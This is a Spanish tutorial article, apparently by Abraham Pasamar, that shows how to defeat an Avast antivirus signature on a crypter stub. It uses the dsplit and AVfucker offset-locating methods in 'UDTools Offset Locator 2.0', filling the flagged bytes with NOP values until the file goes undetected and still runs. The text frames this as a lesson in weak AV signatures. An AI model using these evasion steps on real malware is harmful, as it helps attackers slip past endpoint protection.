Ya tenemos todo lo necesario para aplicar 'dsplit' así que vamos allá. Abrimos 'UDTools Offset Locator 2.0' y arrastramos (o seleccionamos) el ejecutable 'modme.exe' al primer campo del formulario 'Archivo & Directorio'. En el segundo campo, arrastraremos el directorio 'offsets1'. A continuación, en la sección 'Método' seleccionamos 'DSplit'. En la sección 'offsets' veremos que los valores que se aparecen corresponden a el offset inicial: 1.000 (comienzo del ejecutable sin la cabecera PE) y el offset final del archivo (último byte del ejecutable), en ese caso 45.062. En la sección 'bytes', aparece por defecto el valor 1.000, que es el bloque de 'bytes' que vamos a usar en la primera iteración del proceso 'dsplit'. Si por algún motivo, nuestro archivo a 'modear' fuese mucho mayor, podríamos comenzar por bloques de '10.000' bytes, pero lo habitual es comenzar por 1.000 para que el número de archivos a generar y sobre todo a 'escanear' por el AV sea manejable. En general suele ser una buena idea seleccionar la opción 'Borrar todos los archivos del directorio seleccionado', de este modo, en cada ejecución lo primero que se llevará a cabo es el borrado del directorio seleccionado, por ahora 'offsets1'. Bien, pues ya solo queda pulsar el botón 'Iniciar' y se generarán en el directorio 'offset1' los archivos de tamaño incremental (1.000 bytes adicionales cada uno) desde el offset 1.000 hasta el offset '46.000'. 

El nombre de cada archivo, se corresponde con el offset en el que número de bytes añadidos al archivo, y del tamaño del bloque utilizado. Así pues tendremos: 1000_1000.exe, 2000_1000.exe, ..., 46000_1000.exe. 

A continuación, 'escanearemos' con el AV Avast la carpeta 'offsets1'. Pulsaremos botón derecho sobre la carpeta y seleccionaremos 'Analizar offsets1'. A continuación, nos aparecerá una ventana emergente de resumen del scan que indicará 'AMENAZA DETECTADA' y pulsaremos sobre el botón 'MOSTRAR RESULTADOS'. Nos aparecerá el detalle del análisis para cada fichero del directorio 'offsets1'. La firma que detecta es la misma en todos los archivos, en concreto: 'Win32:Malware-gen'. Si nos fijamos, veremos que no aparece ninguna detección de la firma hasta un offset concreto, en este caso el offset 11.000. A partir de ahí todos los demás offsets son detectados. Por tanto, sabemos que en el entorno del offset 10.000 el AV reconoce código malicioso y salta la detección de la firma. 

Vamos a precisar el offset concreto. Para ello, continuaremos con el proceso 'dsplit' en el entorno del offset 10.000. Volvemos a la aplicación 'UDTools Offset Locator 2.0' e introducimos el offset inicial 9.000 y el el offset final 11.000. Esto lo hacemos para evitar problemas con las zonas frontera. A continuación seleccionamos el valor de 'bytes' a 100, reduciendo un orden de magnitud respecto del valor anterior que era 1.000. De este modo, vamos precisando en cada iteración un poco más. Pulsamos el botón 'Iniciar' y se generan los archivos en 'offsets1'. Todos los archivos del proceso anterior se habrán borrado si la opción 'Borrar todos los archivos del directorio seleccionado' estaba marcada. 

Repetiremos el proceso de 'escaneo' mediante la opción 'Analizar offsets1' que nos aparecerá al pulsar el botón derecho sobre la carpeta. Una vez 'escaneada' la carpeta y desplegado el cuadro de 'MOSTRAR RESULTADOS' veremos que el primer offset detectado es 10.600. Una vez más volveremos a la aplicación 'UDTools Offset Locator 2.0' y seleccionaremos el rango 1.500 a 1.700 como offsets incial y final y reduciremos los 'bytes' de incremento a 10. Volveremos a 'escanear' y esta vez veremos que el primer offset detectado es 10.560. 

Una última iteración entre 10.550 y 10.570 con un incremento de 1 byte, nos indicará que el offset exacto en el que se detecta código malicioso es 10.552. Es decir, hasta el byte anterior el AV no ha sido capaz de detectar la firma, sin embargo, a partir del byte 10.552 ya la detecta. Parece lógico pensar que los bytes que definen la firma han de estar exactamente en el entorno de 10.552 pero no es así. La técnica 'dsplit' nos indica que en ese 'pedazo' de archivo seleccionado de 10.552 bytes el AV es capaz de detectar la firma. Mediante la técnica 'AVfucker' vamos tratar de localizar los bytes que conforman la firma. Para poder aplicar la técnica 'AVfucker' lo primero que haremos es copiar el archivo 10552_1.exe de la carpeta 'offsets1' a la carpeta de trabajo.

AVfucker


En la campo 'archivo' del formulario de la aplicación 'UDTools Offset Locator 2.0' teníamos nuestro archivo 'modme.exe', que es con el que hemos estado trabajando hasta el momento. Ahora arrastraremos el archivo 10552_1.exe a dicho formulario, ya que es sobre este archivo sobre el que vamos a aplicar la técnica 'AVfucker'. En el formulario 'directorio' no vamos a hacer cambios y mantendremos la carpeta 'offsets1'. En la sección 'Método' seleccionaremos 'Av-Fuck'. Veremos que ahora el offset inicial es 1000 y el offset final 10552, mientras que el rango de 'bytes' vuelve a ser 1000. La diferencia fundamental entre 'dsplit' y 'AVfucker' es que con 'dsplit' solo recortamos el ejecutable en secciones, mientras que con 'AVfucker' lo que hacemos es 'tapar' o 'rellenar' secciones del ejecutable con un valor determinado. Por tanto, en la aplicación 'UDTools Offset Locator 2.0' debemos indicar con que valor queremos 'rellenar'. podemos escribir el valor hexadecimal que queramos, siendo los valores '00' ó '90' los más usados generalmente. También podemos usar el botón 'A' para rellenar el campo con un valor aleatorio. El valor a escoger puede depender de varios factores, en general, '90' (instrucción NOP en ensamblador) es un buen valor de 'relleno' para comenzar. Pulsamos 'Iniciar' y se generan en 'offsets1' 10 archivos con sus respectivas zonas de 1000 bytes rellenos del byte '90'.

Ahora vamos a escanear 'offsets1' mediante el AV. Nos indicará 'AMENAZA DETECTADA' y si pulsamos 'MOSTRAR RESULTADOS' veremos que hay 9 offsets detectados. Ahora, lo que haremos, a diferencia del método 'dsplit' es eliminar los archivos cuyos offsets han sido detectados. Podemos indicar 'Aplicar esta acción a todos: Eliminar' y pulsar 'Aplicar'. Esto dejará en el directorio los archivos cuyos offsets 'indetectan' la firma. En este caso, solo queda uno, el archivo con offset 10.000. A continuación, desde 'UDTools Offset Locator 2.0' pulsaremos el botón 'Mostrar Offsets' y se mostrarán los diferentes offsets 'indetectados'. Si hacemos doble-clic sobre un rango concreto éste se agregará a la herramienta, y automáticamente se reducirá el rango de bytes para la siguiente interacción. En este caso, hay un único rango de 'indetección' por el momento, offset inicial 10.000, offset final 11.000 y bytes se reduce a 100. Si pulsamos de nuevo iniciar, aparece un aviso de que el offset 11.000 es mayor que el tamaño del archivo, si pulsamos aceptar se rellenará como offset final el valor correcto (10.552) y nos permite continuar. Pulsamos de nuevo 'Iniciar' y se generan los archivos en 'offsets1' que pasamos a escanear. Curiosamente, no nos detecta amenaza en ninguno de los archivos. Esto es no es habitual, pero en ocasiones ocurre que hay un rango muy grande de offsets que 'indetectan' la firma. Lo que podemos hacer ahora, es elegir uno de los archivos, por el ejemplo el primero de los offsets 'indetectados' y continuar reduciendo el rango de bytes hasta llegar a 1 byte. En realidad podemos trabajar con todo el rango, pero al ser tan grande vamos a generar muchos ficheros, especialmente al llegar a valores de un byte. Es preferible hacerlo por bloques. Por tanto, rellenamos con el valor 10.000 el offset inicial y 10.100 el offset final y reducimos a 10 el rango de bytes. Analizamos con el AV el resultado y nos detecta los offsets iniciales, pero deja 'indetectados' desde el 10.040 al 10.100. Reducimos a un byte y repetimos. Escaneamos y observamos que los 60 offsets 'indetectan' la firma.

Si miramos la zona con detenimiento y la ayuda de un editor hexadecimal, Hex Workshop en este caso, parece que se corresponde con algunas cadenas de texto. Para asegurarnos, examinamos también la zona con OllyDbg. Podemos probar a ir cambiando algunos de estos valores a ver si encontramos algún offset que mantenga funcional el ejecutable. Hay que tener en cuenta que hemos trabajado con un archivo recortado obtenido del proceso 'dsplit', por tanto, no es posible hacer pruebas sobre dicho archivo. Tendremos que hacer las pruebas de dichas modificaciones sobre el archivo ejecutable original al que habíamos llamado 'modme.exe'. Si hacemos una copia del mismo podemos probar a alterar manualmente algunos de los offsets para ver si nos deja 'funcional' el archivo, aunque también podemos continuar con el proceso 'avfuck' para localizar algún archivo funcional. 


Si estuviésemos ante una zona de código con instrucciones, lo más práctico sería aplicar técnicas como RIT o XOR para alterar las instrucciones de forma que se partiese la firma pero no se viese alterado el resultado del ejecutable. En este caso, como se trata de cadenas de bytes, es más práctico buscar alguna alteración de las mismas que no dañe el ejecutable. 

Lo que vamos a hacer es aplicar la técnica 'avfucker' sobre el archivo 'modme.exe' en lugar de trabajar sobre el archivo obtenido mediante 'dsplit' (10552_1.exe) y dejar los archivos resultantes en la carpeta 'offsets2'. Para ello arrastraremos el archivo 'modme.exe' y la carpeta 'offsets2' a los correspondientes campos de la herramienta y seleccionaremos el rango de offsets previo: 10.040-10.100. Pondremos el rango de bytes a 1 y seleccionaremos el relleno con '90'. Una vez tengamos los archivos en la carpeta 'offsets2' deberíamos eliminar de la misma aquellos cuyos offsets no 'indetectan' la firma. Hasta ahora, este proceso de eliminación lo hemos hecho mediante el 'escaneo' con el AV, pero hay que tener en cuenta que si hubiese alguna segunda firma el el archivo, el AV la detectaría y nos eliminaría todos los ficheros. Por lo tanto, lo que tenemos que hacer es eliminar de 'offsets2' los archivos que previamente hemos eliminado mediante la detección del AV de la carpeta 'offsets1'. En este caso concreto, todos los archivos del rango comprendidos entre el offset 10.040 y 10.100 están 'indetectados', y por ende la comparación de 'offsets1' y 'offsets2' quedará igual y no se eliminará ningún archivo, pero por regla general, esté proceso eliminará archivos de 'offsets2'. La herramienta 'UDTools Offset Locator 2.0' dispone de un botón en el menú superior que permite hacer está eliminación. Como en este caso no hay eliminación, probaremos a ejecutar cada uno de los archivos que se han generado en la carpeta 'offsets2'. Si alguno de ellos es funcional habremos roto la firma.


En nuestro ejemplo hay numerosos offsets en dicho rango que al ser rellenados con el byte '90' dejan funcional el ejecutable y por tanto 'indetectan' la firma.


Además no existe una segunda firma del AV para este archivo, sin embargo, en muchos casos, al conseguir tapar la primera firma, hay que continuar con el proceso 'dsplit' para localizar un segundo bloque de detección y volver aplicar AVfucker para localizar los offsets de las firmas adicionales.

Aplicar modificación al stub

Hay que tener en cuenta que hemos trabajado con el archivo 'modme.exe' para poder verificar su funcionamiento, pero en realidad lo que necesitamos es aplicar los cambios realizados al 'stub'. Para ello podemos hacer un copia del 'strub.exe' original y repetir los cambios realizados sobre 'modme.exe' también sobre el 'stub', o bien podemos extraer el 'stub' del archivo 'modme.exe'. Mediante un editor hexadecimal podemos llevar a cabo fácilmente esta operación. Simplemente es necesario conocer el tamaño del 'stub' original y seleccionar desde el primer byte hasta el tamaño final del 'stub' y guardar los bytes seleccionados a un nuevo archivo.

Como ya comenté al inicio, éste es un caso básico de eliminación de una firma de AV que sirve para ilustrar la técnica 'dsplit/avfucker' de una manera sencilla. Evidentemente hay multitud de firmas muchísimo más complejas que ésta, pero este ejemplo confirma la debilidad de algunas de las firmas que establecen los AVs.

Artículo cortesía de Abraham Pasamar
Leer más...